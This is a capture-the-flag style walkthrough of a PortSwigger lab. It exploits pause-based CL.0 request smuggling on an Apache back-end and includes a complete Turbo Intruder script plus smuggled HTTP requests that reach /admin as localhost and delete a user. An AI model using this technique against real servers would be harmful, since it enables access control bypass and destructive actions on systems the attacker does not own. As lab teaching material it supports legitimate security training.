Skip to content
Field Details
Platform PortSwigger Web Security Academy
Type HTTP Request Smuggling — Pause-Based CL.0, Admin Bypass
Difficulty Expert
Objective Identify a pause-based CL.0 desync vector, access /admin, and delete carlos
Note Requires Turbo Intruder — Burp's core tools can't execute the timing-based send.

Server-Side Pause-Based Request Smuggling

Running Burp Scanner identifies that /resources endpoints don't close the back-end connection after a timeout. The server is Apache 2.4.52. Requesting a path under /resources without a trailing slash triggers a redirect:

GET /resources HTTP/2

HTTP/2 302 Found
Location: /resources/
Screenshot
Screenshot

Switching to POST and HTTP/1.1 and trying to smuggle directly:

POST /resources HTTP/1.1
Content-Length: 83

GET /miku HTTP/1.1
Host: 0a7f007b0498593f81ed2a520089005b.web-security-academy.net

Sending this as a complete request, then a normal GET / on the same connection — both return normal responses. No desync.

Screenshot
Screenshot

The server isn't ignoring Content-Length when the full body arrives at once. That's where pause-based desync differs from standard CL.0: instead of ignoring Content-Length outright, the server initially waits for the body, but if a pause in the TCP stream is long enough, the back-end's parser times out and forgets the pending body. When the rest of the request arrives after the pause, the back-end treats it as a brand new request instead of the continuation it was waiting for.

The attack has to be staged in two parts separated by a delay: send the headers plus the start of the body — including the smuggled prefix — then pause longer than the back-end's timeout (~61 seconds here), then send the rest of the body. By that point the back-end has given up on the first request, so the bytes from the second part get processed as a new, independent request. Burp Repeater can't do this — it sends the full request in one shot. Turbo Intruder is needed for the timing control.

Turbo Intruder's pauseMarker parameter pauses transmission at a specific point in the body, waits pauseTime milliseconds, then resumes:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=100,
                           pipeline=False
                           )
    attacker_request = """POST /resources HTTP/1.1
Host: 0a7f007b0498593f81ed2a520089005b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""
    smuggled_request = """GET /miku HTTP/1.1
Host: 0a7f007b0498593f81ed2a520089005b.web-security-academy.net

"""
    normal_request = """GET / HTTP/1.1
Host: 0a7f007b0498593f81ed2a520089005b.web-security-academy.net

"""
    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['\r\n\r\nGET'], pauseTime=61000)
    engine.queue(normal_request)

def handleResponse(req, interesting):
    table.add(req)

attacker_request is a POST to /resources with Content-Length and body filled at runtime via the %s placeholders. smuggled_request is the payload left in the back-end buffer. normal_request is the probe sent after the desync — if it gets the smuggled response, the attack worked. pauseMarker=['\r\n\r\nGET'] pauses transmission right before the GET in the body, so the headers and blank line arrive first and the smuggled GET arrives after the wait. pauseTime=61000 (61 seconds) outlasts the back-end's timeout. concurrentConnections=1, requestsPerConnection=100 keeps both requests on the same TCP connection.

Screenshot

After launching the attack and waiting ~61 seconds, both requests complete:

Screenshot

The normal GET / request returns 302 Found with Location: /miku/ — the back-end processed the smuggled GET /miku as the next request and delivered that response to the probe. Pause-based desync confirmed.

Changing the smuggled request to GET /admin/ with Host: localhost:

smuggled_request = """GET /admin/ HTTP/1.1
Host: localhost

"""
Screenshot

The probe returns HTTP/1.1 401 Unauthorized — Admin interface only available to local users. Different from the front-end's Path /admin is blocked — the smuggled request is bypassing the front-end entirely and hitting the back-end directly. Setting Host: localhost:

Screenshot
Screenshot

200 OK — the admin panel body comes back, with the delete form and a CSRF token.

Updating the smuggled request to a POST to /admin/delete/ with the CSRF token and username=carlos, and changing pauseMarker to '\r\n\r\nPOST' to match the new method:

smuggled_request = """POST /admin/delete/ HTTP/1.1
Host: localhost
Content-Length: 53

csrf=VnbYb3xRVTunrWl5h6tBm9X22LNABgBW&username=carlos

"""

engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['\r\n\r\nPOST'], pauseTime=61000)

The CSRF token is a one-time value pulled from the 200 OK response in the previous step, so it has to be used immediately before it expires.

Launching the attack and waiting:

Screenshot

Both requests return 302.

Screenshot

Carlos is deleted and the lab will be solved o.o

Resources